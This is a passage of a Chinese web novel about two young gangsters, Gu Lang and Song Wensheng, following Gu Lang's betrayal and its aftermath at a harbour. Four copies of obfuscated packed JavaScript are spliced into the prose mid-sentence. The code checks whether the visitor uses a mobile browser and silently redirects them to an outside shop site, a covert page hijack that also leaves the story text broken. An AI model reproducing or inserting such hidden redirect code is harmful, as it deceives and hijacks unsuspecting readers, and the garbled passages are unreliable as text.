“她很熟悉我,所以不会做傻事。”顾朗看宋文生放下筷子,打响指招来侍者。宋文生接过递来的热毛巾仔细地擦手,又听见顾朗说:“她了解我。如果她真的犯傻,我会先杀了秦栀,再杀了她。” 宋文生的动作停了一拍:“真可惜,我有点喜欢这对亡命鸳鸯的故事了。柳胭了解你,那你了解她吗?怎么样,你觉得她对秦栀是真那么情深义重,还是在演戏给我看?” 顾朗愣了会,没想到宋文生会向他咨询感情问题,即使是别人的。二十六年他没谈过男女朋友,宋文生一直觉得他克己过头。他思忖了一下:“我觉得……” “算了,”宋文生又突兀地打断他,“去他的感情。下一件事,还有件更急的事情。宋文林前几天差点把我炸死,我太久没动静他会起疑。你今晚选几个人去闹点事,别死人,还不到正面冲突的时候,把握好度。” 顾朗点了点头,又问:“那你呢?” “我?”宋文生伸了个懒腰,“最近总是失眠,我找个地方睡一觉……有急事的话打电话找我。” 他拉开椅子走到门口,手已经挨上门把了,又想起什么,转回了身。 “顾朗,”他皱着眉头开口,“你是不是早知道我还有吩咐,所以才没出去送人?你早知道我会让你去找宋文林的茬?” 顾朗满是迷茫地望回来:“不,当然没有。怎么了?” “没怎么,我只是觉得你好像经常能先想到我想什么,”他的眉头皱得更深了点,“我不喜欢这样……很不喜欢。此外,我还更不喜欢别人撒谎。” 一阵沉默。最后顾朗清了清嗓子:“……抱歉。下次不会了。” “这样最好。”这次宋文生利落地拧开把手,用力地甩上了门,留下一声重响。顾朗在原地又坐了一会,他面前还剩下满桌好菜,可整间屋子只有他一个活人。他伸手摸了摸方才宋文生靠过的椅背,看样子很乐意干脆在这睡上一觉。不过一会过后他还是整理好行头,也走出了门,从宋文生的上一个命令之中,踱到下一个命令里去。 如同宋文生惊讶的那样,现在天色确实过早了,六点二十,外面还是光天化日亮堂堂一片。手下们大概觉得这还不到谈生死买卖的时辰,都跟没睡醒一样斜歪地站着,直到这时候看见他从里面走出来,才匆忙地把烟蒂扔到脚下踩灭。 “顾哥,”为首的青年向他致意,“有什么吩咐吗?” 顾朗瞥了他一眼:“西街那一片宋文林的店,认得全吗?” “您放心,”青年自豪地朝自己竖拇指,“就数我知道的最清楚。” “那行,今晚上你带人过去,‘红马’、‘Riddles’、‘帝企鹅’这三家店。不要打死人,抢钱就够了……钱也别全拿了,每家店抽个七成。完事之后随便找人传几句话,就说是为了给我们老大报仇。” “行,您等好吧,”青年讨好又难耐地摩拳擦掌,转身就恶狠狠拍了几下桌子,把背后梦游似的几个人都给震醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344675|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“没听见吗!开工干活了!” 这群恶棍吵吵嚷嚷地拥了出去,挤过门口的时候还撞翻了几把椅子。他们今晚要给一些人留下噩梦,但现在他们给顾朗留下的只有一屋子死寂。顾朗已经习惯这些人的来去匆匆,他走到门口扶起一把椅子,觉得自己和这些空桌椅很有点像,看起来都挺有用、挺上档次,在这奢豪大厅里也不会使主人担心掉价,是很称职的……装饰品。已经这样很多年了,宋文生吩咐他的事再由他吩咐下去。他的所作所为符合身份,二把手如果凡事亲力亲为冲去第一线,很容易不成规矩。可他也不像别的骨干那样,满足于和宋文生称兄道弟。太憋屈了,不上不下,他甚至想不到今晚有什么消遣。 他泄愤地又把椅子踢倒回地上。领班被动静惊动,战战兢兢地走近,试图揣测顾朗无来由的愤怒。这个可怜人让顾朗从魇人的怒火中清醒过来,摇了摇头示意没事。他甚至夸奖了一句菜色不错,宋文生喜欢,以后会常来。 说完他自顾自地走出去,留下背后脸色更糟的领班,看来很不想和他们有联系。这时终于有了点天黑的意思,太阳的残照擦着天边燃烧起来,他也终于想好了去处,沿着和宋文生相反的方向离去。这座沿海城市清末曾是通商港口,开车向海边去时会路过大群西洋建筑,有些还亮着灯,有些只在路边做个大型摆件。民居群里也隐藏着教堂的尖顶,他最后就停车在其中一座教堂前。这教堂不大,事实上太小了,不高的尖顶淹没在连绵的房顶屋檐下,除非俯瞰或者识路,否则这真是为迷途之人准备的圣所。这儿里外都由一位孤身的老年神父打理,车开来时他正埋头扫地,听见车门关阖的声响也没抬头。但顾朗站到铁门前时,他却吩咐说:“稍等一下,顾,等我扫完这一片。你吃晚饭了吗?还是喝点茶?” “吃过了,茶就行,”顾朗按他所说规矩地站着,“很久不见,屠先生。我来聊会天。” “跟我这个老头子聊?”神父笑起来,“找不到别人了吗?” “是……找不到别人了。” 神父终于抬起了头。十九点,一个正式跨进夜色的整点,全市的夜灯次递亮起,暗黄色的暖光下,教堂门口这个夜不归家的青年,看上去却足够的失落。 6. 曾谈过情与欲 茶叶被泡开,水汽也弥散开来。两个人都不讲究,热水冲过一道就算能喝,神父推了一杯到顾朗面前,像他一位和蔼的伯父。顾朗接过来,指尖搭在茶杯边沿稍微晃动,杯里倒映的灯光也跟着摇摆。 “从哪里聊起?” 从哪里聊起呢? “可能有些……说来话长。” “没事,现在才七点,这里平时也没人来。不过我现在睡得比较早,只要你不介意我可能听到一半睡着,随便你吧,怎么高兴怎么来。” 一段冗长的心理问题体现在日常生活中,往往只是琐碎的小事,顾朗挑拣着最能体现重点的说:“宋文生最近出了点事,是他哥下的手,害他最近很烦躁。但在出事之前,他已经半个月没回家睡觉了,说睡不着。他的喜好变化很大,开了好几个厨子。” 他过于长话短说,神父不禁惊讶:“就这些?” “这很能体现问题。” 神父取下眼镜在外袍上擦了擦:“这就是你现在的处境吗,顾?谈到文生时,你甚至连个像样的长篇大论都扯不出来了。你现在很有名了,我在这里也能听到你的故事,可你好像比六七年前过得还糟糕。” “糟透了。”顾朗颓丧地倒进座椅。 “可是这种问题,你跟我说也没用。你需要跟文生谈谈。你跟他谈过吗?” 这次顾朗没有立刻回答。他又伸手转了下茶杯,直到水面上的光点碎开又聚好,神父才听见答案:“我们最后一次谈这些事是六年前。你还记得六年前我离开的时候吗?” “当然,”神父轻轻笑了一下,“很少有人能像你和文生那样令我印象深刻。” 他现在表情很和善,但如果放在六年前,这个老人嘴角翘起细小的弧度就能让整个街区的人晚上睡不好觉。那时并不只有顾朗叫他屠先生,整条道都恭敬地喊这个尊称,时间久了,他的本名反而少人知道。他其实叫做屠约,这名字和“屠先生”的界限划得很开,这两个字所代表的只是一个中菲混血儿,父亲惨死病中,菲佣母亲将他从襁褓拉扯成人。虔诚的基督徒却养大了最穷凶极恶的暴徒,不过这也无所谓,他成名前他母亲已及时地积劳去世。 屠约的故事都发生在很久之前,顾朗六年前遇见他时,他已经是赫赫有名的屠先生,有人专门替他在雨夜里撑伞,而顾朗凄凉得多,倒在地上,雨水血水流往一处,背上被人一刀砍伤,皮肉翻卷。 “老大,”撑伞的男人凑上前,在屠约耳边低语,“就是这个人,前几天偷了我们的货。” 屠约从鼻腔里低哼一声,手杖往前抵在了顾朗手背上。他要问几句话,如果得不到满意的答案,这只手、这个人,都不用留到明天了。 他问:“年轻人,你还清醒吗?” 顾朗疼得说不出话,只能点头。 “今年多大?”他又问。 他身边的人有些诧异,这种小场面屠约亲自到场已经很不正常,而他现在竟然要跟这个落魄的小偷拉几句家常。不过顾朗没有察觉,他失血又淋雨,已经快要冷昏过去,如果不是想回家,他不如求屠约给他个痛快。 他挣扎着低声哼哼:“十九。” “成年了。叫什么?” “……顾朗。” “顾朗?”屠约喊了一遍,“问你最后一个问题,两天前你拿了我们多少货?” 顾朗睁了睁眼,努力和屠约对上视线,他把嘴里的血沫啐干净,清楚地说:“两包最次的,剩下的都没碰过。” “这样,”屠约似乎认同了他的答案,手杖从他手背上移开,重新撑在地上,“不好意思,还有一个问题。想跟着我做事吗?” 雨声里瞬间浮起一阵躁动,屠约身边的人们都不可置信,害怕他们的头儿已经淋雨发烧烧坏了脑袋。可另一个主角竟然没有立刻握住这根救命稻草,反而还开出自己的条件:“我可以给你卖命,比其他人都干得好,要双倍价钱。” 屠约冲顾朗笑了笑,额头间堆出几道年老的皱纹,动作却丝毫不显老,迅疾地转身从撑伞男人的腰间抽出一把匕首,倏忽间这把刀又物归原主,深深刺入男人的腹部。毫秒之间,似乎连雨都滴慢一些,直到那柄黑伞撞上地面,男人才绝望地滑落于地。雨水被染得更红,屠约的手下却纷纷噤声,对于生死问题,他们习惯听从屠约的发落。 屠约大声宣布:“问题已经很明显,是这个死人趁乱运走了我们的大部分货。一个被我们逼近死胡同的十九岁年轻人不会有那么多销赃的门路。不过,顾朗,我仍然很赏识他,很不错,有胆量,明天起这个年轻人就和你们共事。” 听完声明,立刻有人撑开一把新伞罩在了屠约头顶。屠约则将地上那把捡起来,撑在顾朗身边,嘱咐他:“等你能走路了就来东街找我,我现在缺一个撑伞的新人了。” 屠约没有子嗣,做的更不是家族生意,很长一段时间里,外人都以为他是将顾朗这只捡来的野狗当作下一任来栽培。他自己或许也兴过这个念头,直到知道宋文生的存在。 那是个在舞厅里的夜晚。他放宽命令,手下们都离开去舞池里寻找猎物,猎捕快活和刺激,只有顾朗还在他身边端坐不动。顾朗冷淡的名声不是一两天,他还是明知故问:“不下场吗?” 顾朗只是将背挺得更直。 假如屠约没事先作调查,几乎也要被他骗过,以为他是真正的无欲无求。可惜他现在摸清了底细,知道顾朗只是将欲望隐藏得更隐秘。屠约的手伸进西服口袋,捏住一张照片,是张偷拍,镜头框住的不是暗线交易也不是□□火并,如果只是这些,屠约还不会那么惊讶。一家火锅店,这是照片上有且仅有的。甚至不是他们谈生意时常去的需要预约和身份,从世界各地空运食材的奢侈之地,就是一家冬天的、玻璃上蒙了雾的、俗气热闹的街边小店。顾朗和他的同伴坐在窗边,被拍得很清楚,顾朗正稍稍前倾给另一个人倒茶,他对面那个更年轻些的小子则不耐地翻着菜单。 他把这张照片放在桌上。在他开口前,身边的人看清了照片内容,他立刻察觉到凶狠的戾气,抬头就看见顾朗压低的眉峰下一双杀人的眼睛。除开他们第一次见面的那个雨夜,顾朗一直将他当做前辈,在他面前温顺谦恭,该做的做好,不该做的不做,所有人都觉得他已将野狗驯服妥帖。现在,不到眨眼之间,这张照片带来的威胁就让顾朗原形毕露,只差像一条真正的狼犬那样冲自己呲牙咆哮。 屠约立刻抬手制止:“冷静一点,顾。每一个得力的手下我都要调查,我没有对这张照片上的人做任何事。” 听他解释,顾朗稍微收敛一些,屠约顺势继续追问:“据说你和他——叫宋文生,对吧?从同一个地方来,现在也住在一块,没有血缘关系,却比兄弟还亲密。你喜欢他,你爱他吗,顾?” 顾朗的喉结上下滚动一番,在这个冷气开到二十度的地方流下汗。屠约从他硬撑的沉默里读出了肯定,叹了口气:“我不是好奇的人,很少过问手下的生活。谁都会爱人,男人、女人、狗,都没有区别,都和我无关。但是你……我本来以为你和我很像,像我十八九岁的样子。结果出乎意料,是我看走眼了,天知道我本来很中意你来接我的班。” 这句话暗示顾朗已错过巨大的机会。鱼和熊掌,恰似情深与位居人上。屠约瞥了一眼,却看见顾朗对此不太在意。他想了一会,又说:“我还得提醒你一句,虽然你已足够小心,但这些事我能查到,别人也能。你敌人不少,弱点却太显眼了。” 这次顾朗反应过激,猛然起身,酒杯都被碰翻在地。他哑声问屠约:“什么意思?” 这很有趣。屠约打量着顾朗发颤的肩膀和哆嗦的嘴唇,大方地告诉他:“是南边的人。上星期被你带人截了货,最近想去你家截人报复,大概就在这两天。” 他话音未落顾朗就拔腿要跑,屠约大声地喊住了他:“顾!我今晚有生意要谈,这是个下雨的晚上,我需要人给我撑伞。” 一个最后的机会。 顾朗站住了,缓慢地转过身。就在屠约快要觉得自己今晚第二次看错人时,他轻声说:“抱歉,宋文生他也常忘记带伞。” 说完他又向前奔去,在鼓噪的电音里分开舞池中贴面乱舞的群魔,不顾一切、头也不回地跑出了刚刚得来的好日子。直到他的背影消失在人群之中,屠约才招来手下,吩咐说:“跟过去看紧,别被发现,发生什么都不要出手。” 顾朗对于今晚涌动的暗流和它的意义尚且一无所知,只是跑出夜店慌张地拦车。不夜城里招牌林立行人如织,只有他一个人承受着非人的煎熬。自从来到这,来到宋文生的出生地、归属地后,顾朗总是心神不定,总是狼狈不堪。 他站在路中逼停了一个加班的倒霉男人,愤怒的车主还没来得及咒骂出声就被他拽着衣领掼到地上。在光明正大的抢劫后他又连闯三个红灯,偏偏家在城郊,最大码速也开了四十分钟,四十分钟不长不短,长得足够所有事发生,短到不足以收拾现场。顾朗抖着手打开家门后,尸体和血迹首先震撼他的心神。他跪下去翻找宋文生的脸,一边摸索一边想要干呕。而宋文生,活生生的宋文生,却在他掉眼泪时从卫生间里走了出来,还慢条斯理地擦着手。他看清顾朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344676|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时也愣了一下,此时的顾朗半跪在地满脸泪痕,像个梦游的癔症患者。 他俩滑稽地对望了一会,像场默片。最后还是顾朗先开口,不确定地喊了一声:“……文生?” “啊,是我。” 这句确认像个讯号,让顾朗突然有力气从地上跳起,冲到宋文生面前抓紧他肩膀仔细打量,一连串地责问他:“为什么不打电话给我?伤到了吗?太危险了,为什么不告诉我?” 宋文生的表情有些微妙,他虽然矮上两厘米,却不喜欢这样被人圈着,大幅后退一步,才反问顾朗:“为什么得告诉你?我前天发现有人跟踪就做好了准备,自己可以解决。” “前天?”顾朗难以相信,“你前天?前天就?为……你为什么不跟我说?你没必要做这些,我说过的,你没必要,有我就够了,你——” “顾朗,”宋文生打断他的语无伦次,“我来这里就是为了这些事。你可以的,我也可以。我现在一无所有,只有这条命,自然会格外珍惜,你不需要特别担心我。” 这句话比凶杀现场更刺激顾朗,他喃喃地重复了一遍:“一无所有……你一无所有,”他攥紧宋文生的袖子,“我跟你认识十多年……那我算什么?” 刀山火海都不够让顾朗在宋文生面前掉眼泪,这时他却哽咽了,祈求宋文生:“文生,宋文生,你就不能……可怜可怜我……” 又来了,又来了!顾朗十多年来总想将自己划进宋文生的所有范围,他祈求信任、忠诚,甚至是爱。这种索取比暴力更让宋文生怒火中烧,他再也忍受不了,抓住顾朗的头发把他按在洗手台后的镜子上,镜面应声而碎,碎玻璃扎破顾朗的脑袋,血沿着碎裂的纹路流向台面。宋文生靠上前,几乎和顾朗脸贴着脸。这个距离适合接吻说情话,可是宋文生睁着一双愤怒的眼睛,冲顾朗咆哮:“我还要说多少次?!我不是你的朋友、爱人或者随便什么鬼东西,我是甄如的!一个惨死的女人的儿子!如果你非要说自己属于我,或者我属于你,”宋文生空闲的另一只手直指自己的太阳穴,一字一顿,“除非现在杀了我。” 顾朗被撞得发蒙耳鸣,有血流到他脖子后,让他觉得黏腻反胃。他脑袋里轰鸣着屠约方才说过的话,任何人都会爱人,任何人……除了宋文生。宋文生的兄弟、朋友、生死之交都建立于利与不利的错综关系之上,他来到这里,已准备好干任何下贱的勾当,除了谈情说爱。他永远、永远不会跟任何人谈论爱情。 顾朗此刻只剩下低声说话的力气,在彻底昏过去前,他只能一遍复一遍地向宋文生保证:对不起,对不起,以后再也不会了。 屠约的手下如实地向老大完成了汇报,从那天起,跟在屠约身边的人就不再是顾朗,而是宋文生。这当然让宋文生少走了许多弯路,但至于是不是幸运,是不是轻松,却是另一件事了。 茶盏由烫手逐渐冷却,直到一点热气也没剩下,对坐的两人都没再说话。屠约和顾朗都很清楚症结所在:有这样两个年轻人,他们有一段共同的过去,从同一个起点出发——不,起点或许还在更早之前的某一年,他们一个失去父亲,另一个失去母亲。两个可怜的、活在过去的、互相取暖的人——本应如此。但更大的不幸在于,失去父亲的那个——宋文生——活在过去,也死在了过去。他的爱情、忠诚、信任,都已被父辈们可耻而失败的过去消磨殆尽。顾朗如果也如此就好了,可是他犯了一个错误:他以为他们还拥有彼此。一个巨大的错误!但是,难道不应该这样吗?他们把过去的一切都留在了那个被抛下的小镇上:母亲的墓碑、父亲的家。他们一样的赤贫如洗,除彼此外又还能拥有什么?唯一的错误只在于宋文生跑过那两株桃树。他握住顾朗的手,又要抛下他。有时顾朗感到疲倦,只想放手向前,可宋文生还陷在原地,顾朗拉不动他,也放不下他,最后还是回去,和他一起待在坟墓里。 要让宋文生走出来是道无解之题。交流是唯一的可行之路,也被宋文生亲口否定。顾朗在柔软的座椅里又枯坐了一会,找不到别的好聊,干脆起身告辞。神父将他送到门口,临走时顾朗看见屠约胸口上挂着的十字架,随口问他:“没人想到你最后会皈依你母亲的宗教。你真的蒙神拯救吗?” “哈,说起来不好意思,你现在问我我也没法说是,”屠约朝顾朗微笑,“我通常自己拯救自己。” 他平静地关好铁门,转身走回了教堂,仿佛今晚故人的拜访和苦恼没有影响他的心情,又或是他知道这条路只有顾朗和宋文生在走,他们各自已做好选择,世上只有三方能影响结果:上帝、死神、他们自己。 7. 暴雨将至 这间包厢很宽阔,摆下了双人床、宽沙发、工作桌,满房都铺长绒地毯。极深的夜里沙发边的夜灯还开着,宋文生裹着毯子蜷在上面,把膝盖上的笔记本敲得噼啪作响。 他是这家店的常客,为他预留的房间保密性极高。柳胭有真本事,很快在宋文林的地盘站稳脚跟织好了网,情报消息总可以及时而隐秘地传达过来。为了处理情报、为了防范宋文林在这个节骨眼上发疯、为了扮演好一只惊弓之鸟,两个月来宋文生几乎每晚换个阵地。他的大部分夜晚被分成上下两半,现在凌晨一点,是正经工作的下半夜,搜罗详尽的各色资料从他眼前一一略过:张三赌马破产、李四兄弟反目、王五的悍妻扬言要做掉他的私生子、负责东三区的冯六一星期没出现。柳胭经验丰富,知道该如何利用那座酒吧中客人们的来去动向和闲言碎语。宋文林的手下们从受雇的打手到二当家,都被她拆解成一条条琐碎信息,宋文生在信息洪流中摇身一变成金山上的矿工,亲自一铲铲挖开表层,挖出最底下埋藏的金矿。两个月来他已大有收获,够本动摇宋文林的根系,如果他够勤快,还可以赶上过个好年。 这份工作一开始很让人兴奋,能满足人的控制欲和窥私欲,不过越到后来越要命,满足过头就觉得自己在反刍别人呕吐物。宋文生看着屏幕犯困,打了电话向前台要咖啡。 只有这时他有点想家。不过顾朗肯定比他更惨,多半夜夜在楼下客厅里发呆失眠。如果他现在回去,顾朗首先得被吓到,确认他没受伤以后又会放松,比吃安眠药管用。不过宋文生薄情寡义是一码事,不想越界就不要招惹暧昧,这个道理他仍然懂。尤其对于顾朗,每个行为眼神都能十倍放大。 想到这他头疼地揉自己额角,恰好外面响起敲门声,估计是侍应生来给他送咖啡醒神。他下了沙发走到门口,先开插销再开门,没成想刚打开一条缝门外人就猛地把门推开,门板擦着他的脸甩过,在墙上撞出一声巨响。他震了一下,差点以为这是宋文林够胆够张扬的一场谋杀。 然而宋文生抬手止住聚拢的保镖,等他们离开后才把视线重新落回门口。 站在他面前的赫然是柳胭,无论如何都不该抛头露面,更不该让人看见和宋文生在一处的柳胭。 宋文生严肃地问她:“你找我最好是有正经事……” 说着说着,他的声音自然小下去。说话间他来回打量柳胭两遍,越看越不对劲。外面大概在下雨,柳胭的发梢裙角都在向下滴水,按理说她不是会忘记带伞的人。 目前情况不合理,就只能用情急来解释。柳胭果然情绪激动,上前一步拽住宋文生的衣领不放,逼得宋文生倒退。她指尖冰凉,声音发抖地问宋文生:“秦栀,你知道秦栀去哪了吗?” 原来是自家后院起火。他盖着柳胭的手试图让她平静一些,反问道:“出什么事了?” “秦栀给我打了个电话,我没及时接,再打回去就打不通了……” 宋文生有些懵,只是这样的话,柳胭未免有些神经过敏。他安慰道:“你不用这么急,可能她只是打完电话又睡过去了……” “不是!”柳胭打断他,“是秦家,秦家的人今晚到这儿。” 宋文生思考了一瞬秦家两个字,发现这确实是大危机,自己不得不掺和进来。假如这时秦栀出事害柳胭撂挑子,他也得前功尽弃。于是他立即表明自己立场:“你先尽量查一下秦栀被带去了哪,找到了给我消息,我派人过去帮你。” 这是最可行的方法,柳胭点了点头,准备回去和自己的一长串线人名单打交道,宋文生的手机却恰在此时催命一样的响起来。柳胭也停住了,等宋文生回房把手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344677|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机从沙发靠垫里捞出来接通,眼看着宋文生的眉头越皱越低。挂了电话之后,宋文生脸色古怪,语气沉重地宣布了个更坏的消息:“宋文林的人开始砸店了,人手很多,据说还有秦家的人。不出一会儿就要到这。” 最后柳胭还是回去找人,宋文生还能不能帮她一把却成了未知,他们俩已是一样的自顾不暇。送走柳胭后宋文生又扶着门框站了会,他的咖啡终于送到,却早已没有睡意,就握着咖啡杯出神。今天晚上实在太古怪,诸般巧合拼成一块,已经牵扯很多人物,他却仍然觉得缺少关键,缺了个能把全局凑往一处,既在上俯瞰、又置身其中的操盘手。 他重新按亮手机,屏幕上还停在通话记录的界面。他从头翻到尾,又从尾翻到头,来回两遍终于发现了不对劲。这发现太惊人,他手没握稳,咖啡杯摔在地上四分五裂,棕色的污渍往地毯上蔓延,宋文生没理会。他终于在这出角色过多的闹剧里找到了缺席的那个。 顾朗。一直到现在,顾朗都没有同他联系。 此时柳胭正开车赶回家,她逼自己冷静了些,还记得遵守交规,停在路口等红灯。趁这个空当,她从大衣口袋里摸出烟点上,手还有些抖,打火机擦了几遍才点着。等她呼出第一口烟气时,红灯也刚好结束,她刚要踩油门,却忽然僵住不动。 刚才一路她都在想秦栀,不仅想秦栀会被带去哪,也想是谁走漏风声。宋文林既然得到秦家的帮助,想来最后是由他向秦家告的密。可这就够蹊跷了,宋文林又是从哪知道的?知情人很少,有她和顾朗在,消息无论如何透不到宋文林那—— 她顿住,回想了一遍刚才的论断。 有她……和顾朗在…… 后面的车按着喇叭催她快走,她却当机立断违规转头,沿着相反的方向,向宋文生家疾驰而去。 8. 高潮揭幕 宋文生大隐隐于市,在一个民宅小区里住跃层,没有保镖,连家门都是地产公司自带的初始款。这几天家家户户已经开始贴对联,只有他家门口最冷清,他已经一段时间没回家,家里只有顾朗和经常更换的钟点工,更没人气。柳胭敲开门时里面一盏灯都没亮,借着走廊光才瞧出开门的人影是顾朗。 她怒火中烧,竟然能推动顾朗往后摔,结结实实撞上门边的博物架,听声音脊椎都疼,架子上的装饰品叮叮当当往下乱掉,摔碎了好几个瓷娃娃。她仍不解气,扯着顾朗的领带往下拉,火气十足地逼问他:“秦栀被带走了,是你干的?!” 没想到顾朗根本不辩驳,坦坦荡荡承认:“是我。” “你这个——”柳胭混迹街头这么久,精通千八百种骂人话,看到顾朗这种死不要脸的无赖样,竟然也一时卡壳,半晌才一巴掌扇到他脸上,骂他,“畜生!” 顾朗头被打偏,居然低笑了一声。柳胭被他笑得更火大,顾朗后脑梗着一根架子的横梁,柳胭拽着他的头发往上边撞。盛怒之下她没控制力气,顾朗措手不及,一下子被撞得脑袋发懵。柳胭接连磕了两三下,直到柜子沾上血迹才停手。顾朗不自觉地往前倒,柳胭重新拎住他衣服领子喝问:“你有什么理由?竟然会反宋文生的水?秦栀被带去哪了!说!” 她边问边摇晃,顾朗被晃得七荤八素,差点想不起来自己该说什么。他难耐地咳嗽了几声,等柳胭停下时已经呛出了泪花。没等二轮逼供他就完全配合,一五一十全数交代:“是我把消息告诉的宋文林。他和秦家做交易,我和他做交易,我要他别杀宋文生,把他留给我。” “你有病?!”柳胭不可置信,“你敢这样做宋文生会恨你恨到下辈子!你就算犯病——他妈的,你也别牵扯我们!” 说话间她扯着顾朗的衣领越来越用劲,顾朗险些要被掐死。还好柳胭残余的理智知道这时杀了顾朗也无济于事,就把他仍在地上,自己也蹲下来对他循循善诱:“说真的,顾朗,你真是做了件蠢事。你做什么不好,要和宋文林联手。如果事情败露,你就算把宋文生捆在身边,他也要想办法咬死你……我真搞不懂你发什么疯!不过现在你还有机会,是你帮宋文林和秦家搭的线,你肯定知道秦栀在哪对吧?告诉我,只要秦栀没事,我可以当做一切都没发生,甚至可以帮你一起蒙混过去,只要你告诉我秦栀在哪,你知道的吧?” 顾朗躺在地上喘气,一时间没顾得上答话。柳胭早就失去耐烦心,扯着他衣领怒吼:“你肯定知道!我给你最后一次机会,说话!” 顾朗握住柳胭抓得死紧的右手,妥协地拍了两下,柳胭松开手,顾朗又摔回地上。这次他没抓紧时间,边咳嗽边挤出声音:“秦栀……咳!他们会走客运码头回去。” 他说得轻声,柳胭却听清楚了。她看见了顾朗的诚意,也就守信地放过他。在她转身时,却听见更细小的一声“对不起”。 柳胭停了停,没有回头,跨过门槛离开了。顾朗在地上躺了会,难受地摸着自己脖子。柳胭是真的用力……他也是真的不擅长演戏。 宋文生和柳胭前后脚错过,差一点就能遇上。他到家时房门没有关严,开了一半,里面仍然没灯,轮到他时却连顾朗也不见了。他走进去只看见满地瓷器碎片和血污,整个一打劫现场。他半蹲下去,手指擦了下地上的血,还没干,沾在指尖。他想站起来瞧仔细,后脑勺就抵了把枪。 “不要动。慢慢转过来。” 是顾朗。 他心里骂人,面上还是平稳地起身转过去,和顾朗面对面。顾朗背对着走廊灯光,漆黑一片看不分明,说话声音不大,哑着嗓子,像被谁掐过脖子。 将这些细节都看在眼里后,宋文生仍然平静地问他:“你要杀我?” 顾朗又伸了伸手,点44马格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344678|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南左轮压在宋文生鼻梁骨上,带来夸张的压迫感。顾朗反问他:“你不吃惊?” “不太吃惊。” 如果事后有机会,宋文生当然会先从这只拿枪的手开始,把顾朗全身骨头都打断。但他确实——不太吃惊。他缺少信与义、爱与欲,顾朗在他心里并不特殊一些。他既然不对顾朗有索求,那被用枪指着的时候,也就不太吃惊。他只是有些奇怪顾朗何必多问一句,他想,顾朗肯定是知道的。 顾朗笑了一下,枪口跟着颤抖起来,让人担心走火。他摇了摇头,对宋文生说:“我不杀你。我要救你。” 他俩从来都不多话,在生死关头顾朗也不说透。他偏了偏枪管示意宋文生出去,宋文生走在前面,顾朗举枪跟在后面,以这种组合一路出了公寓楼。不知道什么运气,一路上再没遇见别人,连小区门口的值班保安都不见人影,似乎闲杂人等都知晓今夜是剧情高潮,都很自觉地为他们让出道来。 楼下停着宋文生的车,顾朗押他上去,看他系好安全带后,却把枪交在了他手上。他们俩双手交叠,顾朗在宋文生眼前低下头去,恳求他:“信我这一晚上行吗。” 他把枪、把自己的命都交在宋文生手上,来换一晚上一小时的默契。他们俩互不回避地对视了一会,如他所说,顾朗的眼睛不是一双杀人的眼睛。宋文生把手抽出来,枪身横在自己膝上,吩咐顾朗:“开车吧。” 车子从市中心的住宅区开出去,越开越荒凉,到最后已像进入午夜的无人区,除了流浪汉和抢劫犯,只有他们还在路上,像唯一一只粘在道路网中的蠢笨昆虫,还不死心,妄想挣扎着脱困。宋文生摩挲着枪管,车窗外明灭而过的路灯看厌了,他就转过去看顾朗。路灯光在车里车外一样起伏,他们俩像在一片灯光的深海中冒着溺毙的风险泅水。顾朗握着方向盘的手指已经紧张得发白,却仍然没人出声来点明这一晚的剑拔弩张。 9. 血洗的新黎明 车停在码头入口时,宋文生并不意外。几个月前顾朗在这里将柳胭的照片递给他,而宋文林想要毁了他的事业,炸死他的人。万事于此开头,理所应当也在这儿收尾。不过事情一路发展,现在已经不是宋家的私事,码头比之前热闹得多,秦家张扬惯了,跨省捉女儿回家也不低调,一艘Riva巨型游艇停泊在岸,把一片海面照得通亮。船前岸上已站了一列黑衣保镖,都恭敬地等着最后一个人物下来,竟然是秦栀的父亲亲自到此。 宋文生看着从保镖到当家一个个鱼贯而下,像看着新年戏班开戏亮相。他和顾朗藏在码头仓库里,正好是不久前审讯用的那一间,连那把绑人的椅子都还倒在原地。他们俩看外面视野绝佳,外面的人对他们一无所觉,简直像开了个剧院包厢。 